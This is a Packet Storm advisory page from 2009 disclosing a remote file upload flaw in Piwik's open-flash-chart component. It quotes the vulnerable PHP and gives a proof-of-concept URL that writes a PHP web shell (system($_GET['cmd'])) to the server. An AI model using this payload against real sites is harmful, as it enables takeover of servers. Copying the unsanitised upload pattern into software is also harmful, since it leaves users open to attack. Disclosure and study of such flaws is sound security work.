what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Piwik Build 1357 2009-08-02 Remote File Upload

Piwik Build 1357 2009-08-02 Remote File Upload
Posted Oct 19, 2009
Authored by boecke

Piwik Build versions 1357 2009-08-02 and below suffer from a remote file upload vulnerability in ofc_upload_image.php that allows for remote command execution.

tags | exploit, remote, php, file upload
SHA-256 | 1a4ced885e76951f022838dffefc439bad5037fa81f9fc25fb73385a257445ed

Piwik Build 1357 2009-08-02 Remote File Upload

Change Mirror Download
Piwik Build <= 1357 2009-08-02 (ofc_upload_image.php) Remote File Upload
Discovery: Braeden Thomas
Versions Affected: All Piwik versions utilising open-flash-chart

I. DESCRIPTION
Piwik is an open source web analytics software.
It gives interesting reports on your website visitors, your popular pages,
the search engines keywords they used, the language they speak‚ and so much more.

II. EXPLANATION
The vulnerability exists in Piwik's implementation of "open-flash-chart",
a module which resides in the "./libs/open-flash-chart/php-ofc-library" directory.

The vulnerable code forces Piwik to create a directory called
"./libs/open-flash-chart/tmp-upload-images" which in turn creates a file which is
able to hold PHP code. This code however does not function correctly if global
variables are unable to be overwritten.

III. VULNERABILITY
<?
$default_path = '../tmp-upload-images/';
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
$destination = $default_path . basename( $_GET[ 'name' ] ); // This should be sanitised before use.

echo 'Saving your image to: '. $destination; // and it tells us where it's saving it to, sigh.

$jfh = fopen($destination, 'w') or die("can't open file"); // The vulnerable code is right here.
fwrite($jfh, $HTTP_RAW_POST_DATA); // and here, <?phpinfo();?>, <?system($_GET['cmd']);?>
fclose($jfh);
?>

IV. PROOF OF CONCEPT
./libs/open-flash-chart/php-ofc-library/ofc_upload_image.php?name=shell.php&HTTP_RAW_POST_DATA=<?system($_GET['cmd']);?>

V. VENDOR
The vendor has not been notified.

VI. SOFTWARE AFFECTED
Piwik and various other software utilising the open-flash-chart library.
The latest version of open-flash-chart (version 2) also includes the vulnerable file
yet may be omitted from various implementations of the open-flash-chart library.
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close